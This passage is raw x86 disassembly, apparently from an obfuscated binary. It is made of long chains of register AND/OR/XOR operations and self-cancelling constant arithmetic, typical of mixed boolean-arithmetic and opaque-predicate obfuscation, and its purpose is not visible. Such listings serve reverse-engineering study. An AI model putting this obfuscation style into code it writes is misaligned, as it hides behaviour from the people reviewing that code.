and ah, cl
or al, ah
mov cl, dl
xor cl, 1
xor al, 0xff
mov ah, dl
xor ah, 1
or cl, al
or ah, 1
xor cl, 0xff
and cl, ah
mov al, dl
xor al, 1
and al, 1
mov ah, dl
xor ah, 1
and ah, 1
or al, ah
xor dh, 0xff
xor al, 0xff
mov ah, dl
xor ah, 1
or dh, al
or ah, 1
xor dh, 0xff
and dh, ah
mov al, cl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov ch, dl
xor ch, 1
mov bl, al
and bl, 0xff
and cl, ch
mov bh, ah
and bh, 0xff
and dh, ch
or bl, cl
or bh, dh
xor bl, bh
or al, ah
xor al, 0xff
or ch, 1
and al, ch
or bl, al
mov al, byte [ebp - 0x1ac3]
xor al, 0xff
xor al, 1
and al, 0xff
mov cl, dl
xor cl, 1
and cl, 0
mov ah, dl
xor ah, 0
mov ch, ah
and ch, 1
mov dh, byte [ebp - 0x1ac3]
xor dh, 0xff
and dh, 0
mov bh, byte [ebp - 0x1ac3]
and bh, ah
or cl, ch
or dh, bh
xor cl, dh
mov ah, al
and ah, cl
xor al, cl
or ah, al
mov al, ah
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
and ah, cl
or al, ah
mov cl, bl
xor cl, 0xff
mov ah, al
and ah, cl
xor al, 0xff
mov cl, bl
and cl, al
or ah, cl
xor ah, 0xff
xor bl, 0xff
mov al, dl
xor al, 1
or ah, bl
or al, 1
xor ah, 0xff
and ah, al
mov al, byte [ebp - 0x1af5]
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov ch, byte [ebp - 0x1af5]
and ch, cl
mov dh, dl
xor dh, 1
and dh, 0xff
and cl, 1
or al, ch
or dh, cl
xor al, dh
mov cl, ah
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
mov dh, ah
and dh, ch
or cl, dh
mov ch, dl
xor ch, 1
and ch, 0
mov dh, dl
xor dh, 0
mov bl, dh
and bl, 1
mov bh, dl
xor bh, 1
and bh, 0
and dh, 1
or ch, bl
or bh, dh
xor ch, bh
mov dh, al
xor dh, 0xff
mov bl, dl
xor bl, 1
mov bh, dl
xor bh, 1
or dh, bl
or bh, 1
xor dh, 0xff
and dh, bh
mov bl, byte [ebp - 0x1af5]
xor bl, 0xff
mov bh, ch
xor bh, 0xff
mov byte [ebp - 0x1b07], al
mov al, dl
xor al, 1
or bl, bh
or al, 1
xor bl, 0xff
and bl, al
mov al, cl
xor al, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x1b08], al
mov al, dl
xor al, 0
mov byte [ebp - 0x1b09], al
mov al, byte [ebp - 0x1b08]
or al, bh
mov bh, byte [ebp - 0x1b09]
or bh, 0
xor al, 0xff
and al, bh
xor ah, 0xff
mov bh, ch
xor bh, 0xff
mov byte [ebp - 0x1b0a], al
mov al, dl
xor al, 1
or ah, bh
or al, 1
xor ah, 0xff
and ah, al
mov al, dh
xor al, 0xff
mov bh, bl
xor bh, 0xff
mov byte [ebp - 0x1b0b], al
mov al, dl
xor al, 1
mov byte [ebp - 0x1b0c], al
mov al, byte [ebp - 0x1b0b]
and al, 0xff
mov byte [ebp - 0x1b0d], al
mov al, byte [ebp - 0x1b0c]
and dh, al
mov al, bh
and al, 0xff
mov byte [ebp - 0x1b0e], al
mov al, byte [ebp - 0x1b0c]
and bl, al
mov al, byte [ebp - 0x1b0d]
or al, dh
mov dh, byte [ebp - 0x1b0e]
or dh, bl
xor al, dh
mov dh, byte [ebp - 0x1b0b]
or dh, bh
xor dh, 0xff
mov bl, byte [ebp - 0x1b0c]
or bl, 1
and dh, bl
or al, dh
mov dh, byte [ebp - 0x1b0a]
and dh, ah
mov bl, byte [ebp - 0x1b0a]
xor bl, ah
or dh, bl
mov ah, al
xor ah, 0xff
mov bl, dh
and bl, ah
xor dh, 0xff
and al, dh
or bl, al
mov al, byte [ebp - 0x1b07]
and al, cl
mov ah, byte [ebp - 0x1b07]
xor ah, cl
or al, ah
mov cl, al
xor cl, 0xff
and cl, 0
mov ah, dl
xor ah, 0
and al, ah
xor dl, 1
and dl, 0
and ah, 1
or cl, al
or dl, ah
xor cl, dl
mov al, ch
and al, 1
xor ch, 1
or al, ch
xor al, 0xff
mov dl, cl
xor dl, al
and dl, cl
mov al, bl
and al, dl
xor bl, dl
or al, bl
test al, 1
mov esi, dword [ebp - 0x1ab0]
mov edi, dword [ebp - 0x1ab8]
cmovne esi, edi
mov dword [ebp - 0xa8], esi
jmp 0x45c869
mov eax, 0x9a58e026
mov ecx, 0x4688029
mov dl, 1
xor esi, esi
mov edi, 0x44ed999a
mov ebx, dword [ebp - 0x50]
mov ebx, dword [ebx]
movzx ebx, word [ebx]
sar ebx, 0xc
cmp ebx, 3
sete dh
and dh, 1
mov byte [ebp - 0x1a], dh
mov ebx, dword [0x4ac09c]
mov dword [ebp - 0x1bf0], eax
mov eax, dword [0x4ac084]
mov dword [ebp - 0x1bf4], eax
mov eax, esi
sub eax, 0xf2819a60
sub eax, ebx
add eax, 0xf2819a60
add edi, 0
sub edi, 0x9dbbcc09
sub edi, 0x44ed999a
mov dword [ebp - 0x1bf8], eax
mov eax, esi
sub eax, edi
mov edi, dword [ebp - 0x1bf8]
sub edi, eax
mov eax, esi
sub eax, 0xdc3afc27
sub eax, edi
add eax, 0xdc3afc27
mov edi, esi
sub edi, eax
mov eax, esi
sub eax, 0x23cb7ee
add edi, eax
mov eax, esi
sub eax, edi
mov edi, esi
sub edi, 1
add eax, edi
add eax, 0x502f0370
sub eax, 0x23cb7ee
sub eax, 0x502f0370
sub esi, 0x9dbbcc09
add esi, 0
add eax, 0x13724671
add eax, esi
sub eax, 0x13724671
imul ebx, eax
and ebx, 1
cmp ebx, 0
sete dh
mov eax, dword [ebp - 0x1bf4]
cmp eax, 0xa
setl al
mov ah, dh
xor ah, 0xff
and ah, 1
mov bl, dl
xor bl, 1
mov bh, dh
and bh, bl
or ah, bh
xor ah, 0xff
xor ah, 0
and ah, 0
mov bl, dl
xor bl, 0
and bl, 1
mov bh, dl
xor bh, 1
and bh, 0
or bl, bh
mov bh, bl
xor bh, 0xff
mov byte [ebp - 0x1bf9], al
mov al, dh
xor al, bh
and al, dh
mov bh, dl
xor bh, 1
and bh, 1
mov byte [ebp - 0x1bfa], al
mov al, dl
xor al, 1
and al, 1
or bh, al
xor bh, 0xff
mov al, dl
xor al, 0
mov byte [ebp - 0x1bfb], al
mov al, dl
xor al, 1
mov byte [ebp - 0x1bfc], al
mov al, byte [ebp - 0x1bfb]
or bh, al
mov al, byte [ebp - 0x1bfc]
or al, 1
xor bh, 0xff
and bh, al
mov al, dl
xor al, 1
xor bl, 0xff
mov byte [ebp - 0x1bfd], al
mov al, dl
xor al, 0
mov byte [ebp - 0x1bfe], al
mov al, byte [ebp - 0x1bfd]
or al, bl
mov bl, byte [ebp - 0x1bfe]
or bl, 0
xor al, 0xff
and al, bl
mov bl, ah
mov byte [ebp - 0x1bff], al
mov al, byte [ebp - 0x1bfa]
and bl, al
xor ah, al
or bl, ah
mov ah, bh
xor ah, 0xff
mov al, byte [ebp - 0x1bff]
xor al, 0xff
mov byte [ebp - 0x1c00], al
mov al, dl
xor al, 1
mov byte [ebp - 0x1c01], al
mov al, ah
and al, 0xff
mov byte [ebp - 0x1c02], al
mov al, byte [ebp - 0x1c01]
and bh, al
mov al, byte [ebp - 0x1c00]
and al, 0xff
mov byte [ebp - 0x1c03], al
mov al, byte [ebp - 0x1bff]
mov dword [ebp - 0x1c08], ecx
mov cl, byte [ebp - 0x1c01]
and al, cl
mov ch, byte [ebp - 0x1c02]
or ch, bh
mov bh, byte [ebp - 0x1c03]
or bh, al
xor ch, bh
mov al, byte [ebp - 0x1c00]
or ah, al
xor ah, 0xff
or cl, 1
and ah, cl
or ch, ah
mov cl, bl
xor cl, 0xff
mov ah, ch
and ah, cl
xor ch, 0xff
and bl, ch
or ah, bl
mov cl, byte [ebp - 0x1bf9]
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
mov bl, byte [ebp - 0x1bf9]
and bl, ch
mov bh, dl
xor bh, 1
and bh, 0xff
and ch, 1
or cl, bl
or bh, ch
xor cl, bh
mov ch, dl
xor ch, 1
xor cl, 0xff
mov bl, dl
xor bl, 0
or ch, cl
or bl, 0
xor ch, 0xff
and ch, bl
mov cl, dl
xor cl, 1
and cl, 1
mov bl, dl
xor bl, 1
mov bh, bl
and bh, 1
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
or cl, bh
or al, bl
xor cl, al
xor cl, 0xff
mov al, byte [ebp - 0x1bf9]
xor al, cl
mov cl, byte [ebp - 0x1bf9]
and al, cl
mov bl, ch
and bl, al
xor ch, al
or bl, ch
mov al, dl
xor al, 0
and al, 0
mov ch, dl
xor ch, 0
mov bh, ch
and bh, 0
mov cl, dl
xor cl, 1
and cl, 0
and ch, 1
or al, bh
or cl, ch
xor al, cl
mov cl, dl
xor cl, 1
xor al, 0xff
mov ch, dl
xor ch, 0
or cl, al
or ch, 0
xor cl, 0xff
and cl, ch
mov al, dl
xor al, 1
and al, 1
mov ch, dl
xor ch, 1
and ch, 1
or al, ch
xor al, 0xff
xor al, 0
and al, 0
mov ch, cl
xor ch, 0xff
mov bh, al
xor bh, 0xff
mov byte [ebp - 0x1c09], al
mov al, dl
xor al, 0
mov byte [ebp - 0x1c0a], al
mov al, ch
and al, 0
mov byte [ebp - 0x1c0b], al
mov al, byte [ebp - 0x1c0a]
and cl, al
mov al, bh
and al, 0
mov byte [ebp - 0x1c0c], al
mov al, byte [ebp - 0x1c09]
mov byte [ebp - 0x1c0d], cl
mov cl, byte [ebp - 0x1c0a]
and al, cl
mov cl, byte [ebp - 0x1c0b]
mov byte [ebp - 0x1c0e], al
mov al, byte [ebp - 0x1c0d]
or cl, al
mov al, byte [ebp - 0x1c0c]
mov byte [ebp - 0x1c0f], cl
mov cl, byte [ebp - 0x1c0e]
or al, cl
mov cl, byte [ebp - 0x1c0f]
xor cl, al
or ch, bh
xor ch, 0xff
mov al, byte [ebp - 0x1c0a]
or al, 0
and ch, al
or cl, ch
mov al, ah
xor al, 0xff
and al, 1
mov ch, dl
xor ch, 1
mov bh, ah
and bh, ch
or al, bh
mov ch, dl
xor ch, 0
and ch, 1
mov bh, dl
xor bh, 1
mov byte [ebp - 0x1c10], al
mov al, bh
and al, 0
mov byte [ebp - 0x1c11], al
mov al, dl
xor al, 1
and al, 0xff
and bh, 1
mov byte [ebp - 0x1c12], al
mov al, byte [ebp - 0x1c11]
or ch, al
mov al, byte [ebp - 0x1c12]
or al, bh
xor ch, al
mov al, dl
xor al, 0
and al, 1
mov bh, dl
xor bh, 1
mov byte [ebp - 0x1c13], al
mov al, bh
and al, 0
mov byte [ebp - 0x1c14], al
mov al, dl
xor al, 1
and al, 0xff
and bh, 1
mov byte [ebp - 0x1c15], al
mov al, byte [ebp - 0x1c13]
mov byte [ebp - 0x1c16], cl
mov cl, byte [ebp - 0x1c14]
or al, cl
mov cl, byte [ebp - 0x1c15]
or cl, bh
xor al, cl
mov cl, byte [ebp - 0x1c10]
xor cl, 0xff
mov bh, ch
xor bh, 0xff
mov byte [ebp - 0x1c17], al
mov al, dl
xor al, 1
mov byte [ebp - 0x1c18], al
mov al, cl
and al, 0xff
mov byte [ebp - 0x1c19], al
mov al, byte [ebp - 0x1c10]
mov byte [ebp - 0x1c1a], cl
mov cl, byte [ebp - 0x1c18]
and al, cl
mov cl, bh
and cl, 0xff
mov byte [ebp - 0x1c1b], al
mov al, byte [ebp - 0x1c18]
and ch, al
mov al, byte [ebp - 0x1c19]
mov byte [ebp - 0x1c1c], cl
mov cl, byte [ebp - 0x1c1b]
or al, cl
mov cl, byte [ebp - 0x1c1c]
or cl, ch
xor al, cl
mov cl, byte [ebp - 0x1c1a]
or cl, bh
xor cl, 0xff
mov ch, byte [ebp - 0x1c18]
or ch, 1
and cl, ch
or al, cl
mov cl, byte [ebp - 0x1c17]
and cl, 0
mov ch, byte [ebp - 0x1c17]
xor ch, 0
or cl, ch
mov ch, al
xor ch, 0xff
and ch, 1
mov bh, dl
xor bh, 1
and al, bh
mov byte [ebp - 0x1c1d], al
mov al, dl
xor al, 1
and al, 0xff
and bh, 1
mov byte [ebp - 0x1c1e], al
mov al, byte [ebp - 0x1c1d]
or ch, al
mov al, byte [ebp - 0x1c1e]
or al, bh
xor ch, al
xor cl, 0xff
mov al, ch
xor al, cl
and al, ch
mov cl, byte [ebp - 0x1c16]
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
mov bh, byte [ebp - 0x1c16]
and bh, ch
mov byte [ebp - 0x1c1f], al
mov al, dl
xor al, 1
and al, 0xff
and ch, 1
or cl, bh
or al, ch
xor cl, al
mov al, dh
xor al, 0xff
and al, 0
mov ch, dl
xor ch, 0
mov bh, dh
and bh, ch
mov byte [ebp - 0x1c20], al
mov al, cl
xor al, 0xff
and al, 0
and cl, ch
mov ch, byte [ebp - 0x1c20]
or ch, bh
or al, cl
xor ch, al
xor dh, 0xff
mov al, ch
xor al, dh
and al, ch
mov cl, dl
xor cl, 0
and cl, 1
mov ch, dl
xor ch, 1
mov dh, ch
and dh, 0
mov bh, dl
xor bh, 1
and bh, 0xff
and ch, 1
or cl, dh
or bh, ch
xor cl, bh
mov ch, bl
xor ch, 0xff
and ch, 0
mov dh, dl
xor dh, 0
mov bh, bl
and bh, dh
mov byte [ebp - 0x1c21], al
mov al, cl
xor al, 0xff
and al, 0
and cl, dh
or ch, bh
or al, cl
xor ch, al
mov al, bl
xor al, 0xff
mov cl, ch
xor cl, al
and cl, ch
mov al, byte [ebp - 0x1c16]
xor al, 0xff
and al, 1
mov ch, dl
xor ch, 1
mov dh, byte [ebp - 0x1c16]
and dh, ch
or al, dh
mov ch, byte [ebp - 0x1bf9]
xor ch, 0xff
mov dh, al
and dh, ch
xor al, 0xff
mov ch, byte [ebp - 0x1bf9]
and ch, al
or dh, ch
mov al, byte [ebp - 0x1bf9]
xor al, 0xff
mov ch, dh
xor ch, al
and ch, dh
mov al, byte [ebp - 0x1c1f]
xor al, 0xff
mov dh, byte [ebp - 0x1c21]
xor dh, 0xff
mov bh, dl
xor bh, 1
or al, dh
or bh, 1
xor al, 0xff
and al, bh
mov dh, byte [ebp - 0x1c1f]
xor dh, 0xff
mov bh, byte [ebp - 0x1c21]
and bh, dh
mov dh, byte [ebp - 0x1c21]
xor dh, 0xff
mov byte [ebp - 0x1c22], al
mov al, byte [ebp - 0x1c1f]
and al, dh
or bh, al
mov al, byte [ebp - 0x1c22]
xor al, 0xff
mov dh, bh
xor dh, 0xff
mov byte [ebp - 0x1c23], al
mov al, dl
xor al, 1
mov byte [ebp - 0x1c24], al
mov al, byte [ebp - 0x1c23]
and al, 0xff
mov byte [ebp - 0x1c25], al
mov al, byte [ebp - 0x1c22]
mov byte [ebp - 0x1c26], cl
mov cl, byte [ebp - 0x1c24]
and al, cl
mov cl, dh
and cl, 0xff
mov byte [ebp - 0x1c27], al
mov al, byte [ebp - 0x1c24]
and bh, al
mov al, byte [ebp - 0x1c25]
mov byte [ebp - 0x1c28], cl
mov cl, byte [ebp - 0x1c27]
or al, cl
mov cl, byte [ebp - 0x1c28]
or cl, bh
xor al, cl
mov cl, byte [ebp - 0x1c23]
or cl, dh
xor cl, 0xff
mov dh, byte [ebp - 0x1c24]
or dh, 1
and cl, dh
or al, cl
mov cl, byte [ebp - 0x1c26]
xor cl, 0xff
and cl, 0
mov dh, dl
xor dh, 0
mov bh, byte [ebp - 0x1c26]
and bh, dh
mov byte [ebp - 0x1c29], al
mov al, dl
xor al, 1
and al, 0
and dh, 1
or cl, bh
or al, dh
xor cl, al
mov al, ch
xor al, 0xff
and al, 1
mov dh, dl
xor dh, 1
mov bh, ch
and bh, dh
or al, bh
mov dh, dl
xor dh, 1
and dh, 1
mov bh, dl
xor bh, 1
and bh, 1
or dh, bh
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0x1c2a], al
mov al, dl
xor al, 1
mov byte [ebp - 0x1c2b], al
mov al, dl
xor al, 0
mov byte [ebp - 0x1c2c], al
mov al, byte [ebp - 0x1c2b]
or bh, al
mov al, byte [ebp - 0x1c2c]
or al, 0
xor bh, 0xff
and bh, al
mov al, byte [ebp - 0x1c26]
xor al, 0xff
mov byte [ebp - 0x1c2d], al
mov al, dh
xor al, 0xff
mov byte [ebp - 0x1c2e], al
mov al, dl
xor al, 0
mov byte [ebp - 0x1c2f], al
mov al, byte [ebp - 0x1c2d]
mov byte [ebp - 0x1c30], cl
mov cl, byte [ebp - 0x1c2e]
or al, cl
mov cl, byte [ebp - 0x1c2f]
or cl, 0
xor al, 0xff
and al, cl
mov cl, dl
xor cl, 1
mov byte [ebp - 0x1c31], al
mov al, byte [ebp - 0x1c2a]
xor al, cl
mov cl, byte [ebp - 0x1c2a]
and al, cl
xor ch, 0xff
mov cl, dh
xor cl, 0xff
mov byte [ebp - 0x1c32], al
mov al, dl
xor al, 1
or ch, cl
or al, 1
xor ch, 0xff
and ch, al
mov al, bh
mov cl, byte [ebp - 0x1c31]
and al, cl
xor bh, cl
or al, bh
mov bh, byte [ebp - 0x1c32]
xor bh, 0xff
mov cl, ch
xor cl, 0xff
mov byte [ebp - 0x1c33], al
mov al, dl
xor al, 1
mov byte [ebp - 0x1c34], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x1c35], al
mov al, byte [ebp - 0x1c32]
mov byte [ebp - 0x1c36], cl
mov cl, byte [ebp - 0x1c34]
and al, cl
mov cl, byte [ebp - 0x1c36]
and cl, 0xff
mov byte [ebp - 0x1c37], al
mov al, byte [ebp - 0x1c34]
and ch, al
mov al, byte [ebp - 0x1c35]
mov byte [ebp - 0x1c38], cl
mov cl, byte [ebp - 0x1c37]
or al, cl
mov cl, byte [ebp - 0x1c38]
or cl, ch
xor al, cl
mov cl, byte [ebp - 0x1c36]
or bh, cl
xor bh, 0xff
mov ch, byte [ebp - 0x1c34]
or ch, 1
and bh, ch
or al, bh
mov ch, byte [ebp - 0x1c33]
xor ch, 0xff
and ch, 1
mov bh, dl
xor bh, 1
mov cl, byte [ebp - 0x1c33]
and cl, bh
mov byte [ebp - 0x1c39], al
xor al, 0xff
and al, 0xff
mov byte [ebp - 0x1c3a], al
mov al, byte [ebp - 0x1c39]
and al, bh
or ch, cl
mov cl, byte [ebp - 0x1c3a]
or cl, al
xor ch, cl
mov al, byte [ebp - 0x1c30]
mov cl, byte [ebp - 0x1c2a]
and al, cl
mov bh, byte [ebp - 0x1c30]
xor bh, cl
or al, bh
mov bh, al
xor bh, 0xff
and bh, 1
mov cl, dl
xor cl, 1
and al, cl
mov byte [ebp - 0x1c3b], al
mov al, dl
xor al, 1
and al, 0xff
and cl, 1
mov byte [ebp - 0x1c3c], al
mov al, byte [ebp - 0x1c3b]
or bh, al
mov al, byte [ebp - 0x1c3c]
or al, cl
xor bh, al
mov al, dl
xor al, 1
mov cl, dh
xor cl, 0xff
mov byte [ebp - 0x1c3d], al
mov al, dl
xor al, 1
mov byte [ebp - 0x1c3e], al
mov al, byte [ebp - 0x1c3d]
and al, 0xff
mov byte [ebp - 0x1c3f], al
mov al, byte [ebp - 0x1c3e]
and al, 1
mov byte [ebp - 0x1c40], al
mov al, cl
and al, 0xff
mov byte [ebp - 0x1c41], al
mov al, byte [ebp - 0x1c3e]
and dh, al
mov al, byte [ebp - 0x1c3f]
mov byte [ebp - 0x1c42], cl
mov cl, byte [ebp - 0x1c40]
or al, cl
mov cl, byte [ebp - 0x1c41]
or cl, dh
xor al, cl
mov cl, byte [ebp - 0x1c3d]
mov dh, byte [ebp - 0x1c42]
or cl, dh
xor cl, 0xff
mov dh, byte [ebp - 0x1c3e]
or dh, 1
and cl, dh
or al, cl
xor al, 0xff
mov cl, bh
xor cl, al
and cl, bh
mov al, ch
xor al, 0xff
mov dh, cl
xor dh, 0xff
mov bh, dl
xor bh, 0
mov byte [ebp - 0x1c43], al
and al, 0
and ch, bh
mov byte [ebp - 0x1c44], al
mov al, dh
and al, 0
and cl, bh
mov byte [ebp - 0x1c45], al
mov al, byte [ebp - 0x1c44]
or al, ch
mov ch, byte [ebp - 0x1c45]
or ch, cl
xor al, ch
mov cl, byte [ebp - 0x1c43]
or cl, dh
xor cl, 0xff
or bh, 0
and cl, bh
or al, cl
mov cl, byte [ebp - 0x1c29]
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
mov dh, byte [ebp - 0x1c29]
and dh, ch
mov bh, dl
xor bh, 1
and bh, 0xff
and ch, 1
or cl, dh
or bh, ch
xor cl, bh
xor cl, 0xff
mov ch, al
xor ch, cl
and ch, al
mov cl, al
xor cl, 0xff
and cl, 0
mov dh, dl
xor dh, 0
and al, dh
mov bh, dl
xor bh, 1
and bh, 0
and dh, 1
or cl, al
or bh, dh
xor cl, bh
mov al, byte [ebp - 0x1c29]
xor al, 0xff
xor cl, 0xff
mov dh, dl
xor dh, 0
or al, cl
or dh, 0
xor al, 0xff
and al, dh
mov cl, ch
and cl, al
xor ch, al
or cl, ch
mov al, ah
xor al, 0xff
and al, 1
mov ch, dl
xor ch, 1
mov dh, ah
and dh, ch
mov bh, dl
xor bh, 1
and bh, 0xff
and ch, 1
or al, dh
or bh, ch
xor al, bh
mov ch, bl
xor ch, 0xff
and ch, 1
mov dh, dl
xor dh, 1
mov bh, bl
and bh, dh
mov byte [ebp - 0x1c46], al
mov al, dl
xor al, 1
and al, 0xff
and dh, 1
or ch, bh
or al, dh
xor ch, al
mov al, dl
xor al, 1
and al, 1
mov dh, dl
xor dh, 1
and dh, 1
or al, dh
mov dh, byte [ebp - 0x1c46]
xor dh, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x1c47], al
mov al, dl
xor al, 0
or dh, bh
or al, 0
xor dh, 0xff
and dh, al
mov al, byte [ebp - 0x1c47]
xor al, 0xff
mov bh, ah
xor bh, al
and bh, ah
mov al, dl
xor al, 1
mov ah, ch
xor ah, al
and ah, ch
mov al, byte [ebp - 0x1c47]
xor al, 0xff
mov byte [ebp - 0x1c48], al
mov al, bl
mov byte [ebp - 0x1c49], cl
mov cl, byte [ebp - 0x1c48]
xor al, cl
and al, bl
mov cl, dh
xor cl, 0xff
mov bl, bh
xor bl, 0xff
mov byte [ebp - 0x1c4a], al
mov al, dl
xor al, 1
mov byte [ebp - 0x1c4b], al
mov al, cl
and al, 0xff
mov byte [ebp - 0x1c4c], al
mov al, byte [ebp - 0x1c4b]
and dh, al
mov al, bl
and al, 0xff
mov byte [ebp - 0x1c4d], al
mov al, byte [ebp - 0x1c4b]
and bh, al
mov al, byte [ebp - 0x1c4c]
or al, dh
mov dh, byte [ebp - 0x1c4d]
or dh, bh
xor al, dh
or cl, bl
xor cl, 0xff
mov dh, byte [ebp - 0x1c4b]
or dh, 1
and cl, dh
or al, cl
mov cl, ah
xor cl, 0xff
mov dh, byte [ebp - 0x1c4a]
xor dh, 0xff
mov bl, dl
xor bl, 1
mov bh, cl
and bh, 0xff
and ah, bl
mov byte [ebp - 0x1c4e], al
mov al, dh
and al, 0xff
mov byte [ebp - 0x1c4f], al
mov al, byte [ebp - 0x1c4a]
and al, bl
or bh, ah
mov ah, byte [ebp - 0x1c4f]
or ah, al
xor bh, ah
or cl, dh
xor cl, 0xff
or bl, 1
and cl, bl
or bh, cl
mov al, byte [ebp - 0x1c4e]
xor al, 0xff
mov cl, bh
and cl, al
xor bh, 0xff
mov al, byte [ebp - 0x1c4e]
and al, bh
or cl, al
mov al, byte [ebp - 0x1c46]
and al, ch
mov ah, byte [ebp - 0x1c46]
xor ah, ch
or al, ah
mov ah, al
xor ah, 0xff
and ah, 1
mov ch, dl
xor ch, 1
and al, ch
mov dh, dl
xor dh, 1
and dh, 0xff
and ch, 1
or ah, al
or dh, ch
xor ah, dh
mov al, dl
xor al, 1
mov ch, byte [ebp - 0x1c47]
xor ch, 0xff
mov dh, dl
xor dh, 0
mov bl, al
and bl, 0
mov bh, dh
and bh, 1
mov byte [ebp - 0x1c50], al
mov al, ch
and al, 0
mov byte [ebp - 0x1c51], al
mov al, byte [ebp - 0x1c47]
and al, dh
or bl, bh
mov bh, byte [ebp - 0x1c51]
or bh, al
xor bl, bh
mov al, byte [ebp - 0x1c50]
or al, ch
xor al, 0xff
or dh, 0
and al, dh
or bl, al
xor bl, 0xff
mov al, ah
xor al, bl
and al, ah
mov ah, cl
and ah, al
xor cl, al
or ah, cl
mov al, ah
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov ch, ah
and ch, cl
or al, ch
xor al, 0xff
xor al, 1
and al, 0xff
mov cl, dl
xor cl, 1
and cl, 1
mov ch, dl
xor ch, 1
and ch, 1
or cl, ch
xor ah, 0xff
xor cl, 0xff
mov ch, dl
xor ch, 1
or ah, cl
or ch, 1
xor ah, 0xff
and ah, ch
mov cl, al
and cl, ah
xor al, ah
or cl, al
mov al, dl
xor al, 0
and al, 0
mov ah, dl
xor ah, 0
mov ch, ah
and ch, 0
mov dh, dl
xor dh, 1
and dh, 0
and ah, 1
or al, ch
or dh, ah
xor al, dh
mov ah, byte [ebp - 0x1c16]
xor ah, 0xff
and ah, 1
mov ch, dl
xor ch, 1
mov dh, byte [ebp - 0x1c16]
and dh, ch
mov bl, dl
xor bl, 1
and bl, 0xff
and ch, 1
or ah, dh
or bl, ch
xor ah, bl
mov ch, dl
xor ch, 1
and ch, 1
mov dh, dl
xor dh, 1
and dh, 1
or ch, dh
mov dh, al
xor dh, 0xff
mov bl, dl
xor bl, 1
mov bh, dl
xor bh, 0
or dh, bl
or bh, 0
xor dh, 0xff
and dh, bh
mov bl, dl
xor bl, 0
mov bh, ch
xor bh, 0xff
mov byte [ebp - 0x1c52], al
mov al, dl
xor al, 1
or bl, bh
or al, 1
xor bl, 0xff
and bl, al
mov al, ah
xor al, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x1c53], al
mov al, dl
xor al, 0
mov byte [ebp - 0x1c54], al
mov al, byte [ebp - 0x1c53]
or al, bh
mov bh, byte [ebp - 0x1c54]
or bh, 0
xor al, 0xff
and al, bh
mov bh, ch
xor bh, 0xff
mov byte [ebp - 0x1c55], al
mov al, byte [ebp - 0x1c16]
xor al, bh
mov bh, byte [ebp - 0x1c16]
and al, bh
mov bh, dh
xor bh, 0xff
mov byte [ebp - 0x1c56], al
mov al, bl
xor al, 0xff
mov byte [ebp - 0x1c57], al
mov al, dl
xor al, 0
mov byte [ebp - 0x1c58], al
mov al, bh
and al, 0
mov byte [ebp - 0x1c59], al
mov al, byte [ebp - 0x1c58]
and dh, al
mov al, byte [ebp - 0x1c57]
and al, 0
mov byte [ebp - 0x1c5a], al
mov al, byte [ebp - 0x1c58]
and bl, al
mov al, byte [ebp - 0x1c59]
or al, dh
mov dh, byte [ebp - 0x1c5a]
or dh, bl
xor al, dh
mov dh, byte [ebp - 0x1c57]
or bh, dh
xor bh, 0xff
mov bl, byte [ebp - 0x1c58]
or bl, 0
and bh, bl
or al, bh
mov bl, byte [ebp - 0x1c55]
xor bl, 0xff
mov bh, byte [ebp - 0x1c56]
xor bh, 0xff
mov dh, dl
xor dh, 0
mov byte [ebp - 0x1c5b], al
mov al, bl
and al, 0
mov byte [ebp - 0x1c5c], al
mov al, byte [ebp - 0x1c55]
and al, dh
mov byte [ebp - 0x1c5d], al
mov al, bh
and al, 0
mov byte [ebp - 0x1c5e], al
mov al, byte [ebp - 0x1c56]
and al, dh
mov byte [ebp - 0x1c5f], al
mov al, byte [ebp - 0x1c5c]
mov byte [ebp - 0x1c60], cl
mov cl, byte [ebp - 0x1c5d]
or al, cl
mov cl, byte [ebp - 0x1c5e]
mov byte [ebp - 0x1c61], al
mov al, byte [ebp - 0x1c5f]
or cl, al
mov al, byte [ebp - 0x1c61]
xor al, cl
or bl, bh
xor bl, 0xff
or dh, 0
and bl, dh
or al, bl
mov cl, byte [ebp - 0x1c5b]
xor cl, 0xff
and cl, 0
mov dh, dl
xor dh, 0
mov bl, byte [ebp - 0x1c5b]
and bl, dh
mov bh, al
xor bh, 0xff
and bh, 0
and al, dh
or cl, bl
or bh, al
xor cl, bh
mov al, byte [ebp - 0x1c52]
xor al, 0xff
mov dh, ah
xor dh, 0xff
mov bl, dl
xor bl, 1
mov bh, al
and bh, 0xff
mov byte [ebp - 0x1c62], al
mov al, byte [ebp - 0x1c52]
and al, bl
mov byte [ebp - 0x1c63], al
mov al, dh
and al, 0xff
and ah, bl
mov byte [ebp - 0x1c64], al
mov al, byte [ebp - 0x1c63]
or bh, al
mov al, byte [ebp - 0x1c64]
or al, ah
xor bh, al
mov al, byte [ebp - 0x1c62]
or al, dh
xor al, 0xff
or bl, 1
and al, bl
or bh, al
mov al, bh
xor al, 0xff
and al, 0
mov ah, dl
xor ah, 0
and bh, ah
mov dh, dl
xor dh, 1
and dh, 0
and ah, 1
or al, bh
or dh, ah
xor al, dh
mov ah, ch
and ah, 1
xor ch, 1
or ah, ch
xor ah, 0xff
mov ch, al
xor ch, ah
and ch, al
mov al, cl
and al, ch
xor cl, ch
or al, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
and al, ah
or cl, al
mov al, byte [ebp - 0x1c60]
xor al, 0xff
and al, 1
mov ah, dl
xor ah, 1
mov ch, byte [ebp - 0x1c60]
and ch, ah
mov dh, cl
xor dh, 0xff
and dh, 0xff
and cl, ah
or al, ch
or dh, cl
xor al, dh
xor al, 0xff
mov cl, byte [ebp - 0x1c60]
xor cl, 0xff
xor dl, 1
or al, cl
or dl, 1
xor al, 0xff
and al, dl
mov cl, al
xor cl, 0xff
mov dl, byte [ebp - 0x1c49]
xor dl, cl
mov cl, byte [ebp - 0x1c49]
